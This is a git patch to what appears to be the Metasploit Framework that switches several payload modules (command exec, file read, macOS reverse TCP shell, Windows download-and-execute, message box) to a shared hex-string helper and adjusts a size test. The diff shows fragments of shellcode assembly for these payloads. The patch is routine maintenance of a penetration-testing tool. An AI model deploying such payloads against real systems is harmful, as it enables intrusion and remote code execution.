From 79b0fd6edc4f82e99ae36a3c5dd92e5e8f3be6d9 Mon Sep 17 00:00:00 2001 From: sjanusz-r7 Date: Fri, 8 May 2026 11:48:34 +0100 Subject: [PATCH] Use rex-text hex string helper, fix module assembly null-terminated string usage Use rex-text to_hex_cstring keyword arg --- lib/msf/util/payload_cached_size.rb | 6 +++--- modules/payloads/singles/linux/x64/exec.rb | 11 +++++++---- modules/payloads/singles/linux/x64/set_hostname.rb | 2 +- modules/payloads/singles/linux/x86/exec.rb | 11 +++++++---- modules/payloads/singles/linux/x86/read_file.rb | 4 ++-- .../payloads/singles/osx/x64/shell_reverse_tcp.rb | 5 ++--- modules/payloads/singles/windows/download_exec.rb | 12 ++++++------ modules/payloads/singles/windows/messagebox.rb | 8 ++++---- .../payloads/singles/windows/x64/download_exec.rb | 4 ++-- modules/payloads/singles/windows/x64/messagebox.rb | 8 ++++---- .../examples/payload_cached_size_is_consistent.rb | 7 +++---- 11 files changed, 41 insertions(+), 37 deletions(-) diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index b850bae48c..5d4333509b 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -168,8 +168,8 @@ class PayloadCachedSize # # @param mod [Msf::Payload] The class of the payload module to update # @return [Integer, String] - def self.compute_cached_size(framework, mod) - return ":dynamic" if is_dynamic?(framework, mod) + def self.compute_cached_size(framework, mod, generation_count: 10) + return ":dynamic" if is_dynamic?(framework, mod, generation_count: generation_count) mod.replicant.generate_simple(module_options(mod)).bytesize end @@ -180,7 +180,7 @@ class PayloadCachedSize # @param generation_count [Integer] The number of iterations to use to # verify that the size is static. # @return [Boolean] - def self.is_dynamic?(framework, mod, generation_count=10) + def self.is_dynamic?(framework, mod, generation_count: 10) return true if mod.class.const_defined?('ForceDynamicCachedSize') && mod.class::ForceDynamicCachedSize opts = module_options(mod) last_bytesize = nil diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index f17e4dfa6d..ed062f40d0 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -40,7 +40,6 @@ module MetasploitModule def generate(_opts = {}) cmd = datastore['CMD'] || '' cmd_length = cmd.bytesize - cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ') nullfreeversion = datastore['NullFreeVersion'] if cmd.empty? @@ -99,12 +98,14 @@ module MetasploitModule raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller end + # Null-free: raw bytes without terminator (patched at runtime) + cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false) if cmd_length <= 0xff # 255 breg = 'bl' else breg = 'bx' if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes - cmd += ', 0x20' + cmd_bytes += ', 0x20' cmd_length += 1 end end @@ -147,9 +148,11 @@ module MetasploitModule syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL) tocall: call afterjmp - db #{cmd} ; arbitrary command + db #{cmd_bytes} ; arbitrary command EOS else + # Non-null-free: null-terminated cstring + cmd_cstring = Rex::Text.to_hex_cstring(cmd) # 37 bytes without cmd (not null-free) payload = <<-EOS mov rax, 0x68732f6e69622f @@ -166,7 +169,7 @@ module MetasploitModule push rdx ; NULL call continue - db #{cmd}, 0x00 ; arbitrary command + db #{cmd_cstring} ; arbitrary command continue: push rsi ; "-c" push rdi ; "/bin/sh" diff --git a/modules/payloads/singles/linux/x64/set_hostname.rb b/modules/payloads/singles/linux/x64/set_hostname.rb index 5d6f2bb07e..52f8a6cdb3 100644 --- a/modules/payloads/singles/linux/x64/set_hostname.rb +++ b/modules/payloads/singles/linux/x64/set_hostname.rb @@ -36,7 +36,7 @@ module MetasploitModule if length > 0xff fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.') end - hostname = hostname.bytes.map { |byte| '0x%02x' % byte }.join(', ') + hostname = Rex::Text.to_hex_cstring(hostname, nullbyte: false) payload = %^ push 0xffffffffffffff56 ; sethostname() syscall number. diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index 270445e9dc..1cba65a4de 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -53,7 +53,6 @@ module MetasploitModule def generate(_opts = {}) cmd = datastore['CMD'] || '' cmd_length = cmd.bytesize - cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ') nullfreeversion = datastore['NullFreeVersion'] if cmd.empty? # @@ -95,12 +94,14 @@ module MetasploitModule raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller end + # Null-free: raw bytes without terminator (patched at runtime) + cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false) if cmd_length <= 0xff # 255 breg = 'bl' else breg = 'bx' if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes - cmd += ', 0x20' + cmd_bytes += ', 0x20' cmd_length += 1 end end @@ -130,9 +131,11 @@ module MetasploitModule int 0x80 tocall: call afterjmp ; call/pop cmd address - db #{cmd} + db #{cmd_bytes} EOS else + # Non-null-free: null-terminated cstring + cmd_cstring = Rex::Text.to_hex_cstring(cmd) # 36 bytes without cmd (not null-free) payload = <<-EOS push 0xb @@ -146,7 +149,7 @@ module MetasploitModule mov ebx, esp push edx call continue - db #{cmd}, 0x00 + db #{cmd_cstring} continue: push edi push ebx diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 4ae35dd4df..af3a983078 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -34,7 +34,7 @@ module MetasploitModule def generate(_opts = {}) fd = datastore['FD'] - path = (datastore['PATH'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ') + path = Rex::Text.to_hex_cstring(datastore['PATH'] || '') payload_data = <<-EOS jmp file @@ -66,7 +66,7 @@ module MetasploitModule file: call open - db #{path}, 0x00 + db #{path} EOS Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index af326641ee..adb1c7160f 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -43,8 +43,7 @@ module MetasploitModule raise ArgumentError, 'LHOST must be in IPv4 format.' end - cmd = (datastore['CMD'] || '') + "\x00" - cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ') + cmd = Rex::Text.to_hex_cstring(datastore['CMD'] || '') encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N') encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V') encoded_host_port = format('0x%.8x%.8x', { encoded_host: encoded_host, encoded_port: encoded_port }) @@ -81,7 +80,7 @@ module MetasploitModule xor rax,rax mov eax,0x200003b call load_cmd - db #{cmd}, 0x00 + db #{cmd} load_cmd: pop rdi xor rdx,rdx diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 2d3e77ada7..2a0dbffa30 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -124,9 +124,9 @@ module MetasploitModule # get protocol specific stuff - server_uri = server_uri.bytes.map { |byte| '0x%02x' % byte }.join(', ') - filename = filename.bytes.map { |byte| '0x%02x' % byte }.join(', ') - server_host = server_host.bytes.map { |byte| '0x%02x' % byte }.join(', ') + server_uri = Rex::Text.to_hex_cstring(server_uri) + filename = Rex::Text.to_hex_cstring(filename) + server_host = Rex::Text.to_hex_cstring(server_host) # create actual payload payload_data = %^ @@ -226,7 +226,7 @@ module MetasploitModule call httpopenrequest server_uri: - db #{server_uri}, 0x00 + db #{server_uri} create_file: jmp.i8 get_filename @@ -297,13 +297,13 @@ module MetasploitModule get_filename: call get_filename_return - db #{filename}, 0x00 + db #{filename} get_server_host: call internetconnect server_host: - db #{server_host}, 0x00 + db #{server_host} end: ^ self.assembly = payload_data diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 24db2b404c..53d0c0effd 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -40,8 +40,8 @@ module MetasploitModule # Construct the payload # def generate(_opts = {}) - title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ') - text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ') + title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '') + text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '') style = 0x00 case datastore['ICON'].upcase.strip # default = NO @@ -91,10 +91,10 @@ module MetasploitModule call ebp push #{style} call get_title - db #{title}, 0x00 + db #{title} get_title: call get_text - db #{text}, 0x00 + db #{text} get_text: push 0 push #{block_api_hash('user32.dll', 'MessageBoxA')} diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb index 183b66dab4..05ac828a0b 100644 --- a/modules/payloads/singles/windows/x64/download_exec.rb +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -42,8 +42,8 @@ module MetasploitModule display = datastore['DISPLAY'] || 'HIDE' url_length = url.bytesize file_length = file.bytesize - url = url.bytes.map { |byte| '0x%02x' % byte }.join(', ') - file = file.bytes.map { |byte| '0x%02x' % byte }.join(', ') + url = Rex::Text.to_hex_cstring(url, nullbyte: false) + file = Rex::Text.to_hex_cstring(file, nullbyte: false) payload = %^ cld diff --git a/modules/payloads/singles/windows/x64/messagebox.rb b/modules/payloads/singles/windows/x64/messagebox.rb index a9760216c8..fb2812620c 100644 --- a/modules/payloads/singles/windows/x64/messagebox.rb +++ b/modules/payloads/singles/windows/x64/messagebox.rb @@ -36,8 +36,8 @@ module MetasploitModule end def generate(_opts = {}) - title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ') - text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ') + title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '') + text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '') style = 0x00 case datastore['ICON'].upcase.strip # default = NO @@ -90,11 +90,11 @@ module MetasploitModule call rbp mov r9, #{style} call get_text - db #{text}, 0x00 + db #{text} get_text: pop rdx call get_title - db #{title}, 0x00 + db #{title} get_title: pop r8 xor rcx,rcx diff --git a/spec/support/shared/examples/payload_cached_size_is_consistent.rb b/spec/support/shared/examples/payload_cached_size_is_consistent.rb index 66454e3398..3bd1671186 100644 --- a/spec/support/shared/examples/payload_cached_size_is_consistent.rb +++ b/spec/support/shared/examples/payload_cached_size_is_consistent.rb @@ -107,11 +107,10 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options| reference_name: reference_name ) - next if reference_name =~ /generic|peinject/ + next if reference_name =~ /generic/ - pinst.datastore['CMD'] = '/bin/sh' - generated = pinst.generate - expect(generated).to_not be_nil + generated_size = ::Msf::Util::PayloadCachedSize.compute_cached_size(framework, pinst, generation_count: 1) + expect(generated_size).to eq(':dynamic').or be_a(::Integer) end next if reference_name =~ /generic|peinject/